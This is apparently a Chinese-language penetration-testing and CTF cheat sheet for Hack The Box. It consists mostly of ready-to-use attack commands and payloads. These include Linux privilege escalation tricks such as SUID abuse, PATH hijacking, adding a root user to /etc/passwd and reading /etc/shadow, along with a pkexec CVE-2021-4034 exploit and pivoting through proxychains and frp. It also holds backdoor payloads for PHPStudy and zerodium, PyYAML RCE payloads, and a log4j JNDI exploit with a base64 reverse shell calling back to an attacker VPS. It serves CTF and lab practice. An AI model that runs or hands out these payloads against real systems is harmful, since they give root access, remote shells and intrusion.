渗透(Hack The Box / HTB)
扫描
nmap
nmap -sC -sV xx.xx.xx.xx -oA src/
-sC
is for using default nmap scripts,-sV
for enumerating services versions,-oA
is for output ALL format and specify the directorysrc
,NOTICE: you may be adding
-Pn
if you have an error wait for some time and here is the result.
提权
参考:GTFOBins
SUID提权(4000权限)
SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。
发现系统上运行的所有SUID可执行文件,不同系统适用于不同的命令:
1 | find / -perm -u=s -type f 2>/dev/null |
环境变量
1
2
3
4
5
6
7
8
9#/home/raj/script/shell具SUID权限
cd /tmp
echo “/bin/bash” > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoamifind
1
2
3# 普通用户,进入到/tmp目录下,然后新建一个文件
touch abcd
find abcd -exec whoami \;/etc/shadow
1
xxd "/etc/shadow" | xxd -r
/etc/passwd
1
2
3
4
5cat /etc/passwd>passwd
echo "test:abRcsZmlrrKFA:0:0:,,,:/root:/bin/bash" >>passwd
cp passwd /etc/passwd
python3 -c 'import pty; pty.spawn("/bin/bash")'
su - test
nl
nl /flag
date
/usr/bin/date -f /flag
(利用date命令的 -f 参数读取文件)
curl
curl file:///flag
python
python -c 'import os;os.system("/bin/sh")'
以其他用户运行命令
sudo -l
(查看此用户拥有的特殊权限,如NOPASSWD
,路径/etc/sudoer.d
)echo password | su -c userB cat xxx.txt
根目录非root权限
ls -al /
(检查根目录权限是否非root)1
2
3
4
5
6mv bin bin1
/bin1/mkdir bin
/bin1/chmod 777 bin
/bin1/echo "/bin1/cat /flag" > /bin/umount
/bin1/chmod 777 /bin/umount
exit
pkexec提权漏洞
/usr/lib/policykit-1/polkit-agent-helper-1
https://github.com/arthepsy/CVE-2021-4034
1
2chmod +x ./pkexec_poc
./pkexec_poc
非常规读文件
1 | /lib/gcc/x86_64-linux-gnu/[id]/cc1 /etc/passwd -o /dev/null |
内网穿透
探测内网主机
1
for k in $( seq 1 255);do ping -c 1 10.203.113.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
常见端口扫描
EW代理:
./ew_for_linux64 -s ssocksd -l 9999
扫描:
proxychains3 nmap 扫描常见端口
操作
远程连接数据库:
proxychains3 mysql -h 10.203.113.33 -u ctf -p
启动火狐浏览器:
proxychains3 firefox
远程连接:
proxychains3 rdesktop 10.203.113.34:3389
proxychains
ProxyChains是Linux和其他Unix下的代理工具。 它可以使任何程序通过代理上网, 允许TCP和DNS通过代理隧道, 支持HTTP、 SOCKS4和SOCKS5类型的代理服务器, 并且可配置多个代理。 ProxyChains通过一个用户定义的代理列表强制连接指定的应用程序, 直接断开接收方和发送方的连接。
配置文件:/etc/proxychains.conf
,在末尾添加代理。
frp
frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。
项目地址 https://github.com/fatedier/frp/blob/master/README_zh.md
目录文件:
1 | frpc 客户端可执行程序 |
服务端配置( frps.ini
文件)
1 | [common] |
启动: ./frps -c frps.ini
客户端配置( frpc.ini
文件)
1 | [common] |
启动: ./frpc -c frpc.ini
其他
PHPStudy 后门漏洞
1 | import requests |
zerodium 后门
列目录:User-Agentt: zerodiumsystem('ls /');
读文件:User-Agentt: zerodiumsystem('cat /flag');
log4j2 漏洞(CVE-2021-44228)
步骤:
在vps上通过 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 启动监听
1
2
3java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny54eHgueHh4LjIyMC8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" -A "47.xxx.xxx.220"
# YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny54eHgueHh4LjIyMC8yMzMzIDA+JjE= 为 bash -i >& /dev/tcp/47.xxx.xxx.220/2333 0>&1, 用于反弹shell将payload填入找到的漏洞处
1
${jndi:ldap:${sys:file.separator}${sys:file.separator}47.xxx.xxx.220:1389${sys:file.separator}ge5udq}
绕过:
1 | ${jndi:ladp://xxxxxx.dnslog.cn/exp} |
PyYAML漏洞(CVE-2020-1747)
版本:5.3
1 | # pyyaml==5.3 required. Vulnerability has been fixed in 5.3.1 |
RCE:
1 | !!python/object/new:str |
1 | # payload.yaml |
1 | !!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , |
1 | !!python/object/new:type |
参考:
Development Server源码泄露(CNVD-2023-05738)
PHP<=7.4.21 Development Server源码泄露漏洞
PHP Development Server存在信息泄露漏洞,该漏洞源于php cli server begin send static在解析http请求时存在逻辑漏洞,攻击者可利用该漏洞将两个请求拼接至一个http请求中导致服务器将php文件作为静态文件返回。
1 | GET /A.php HTTP/1.1 |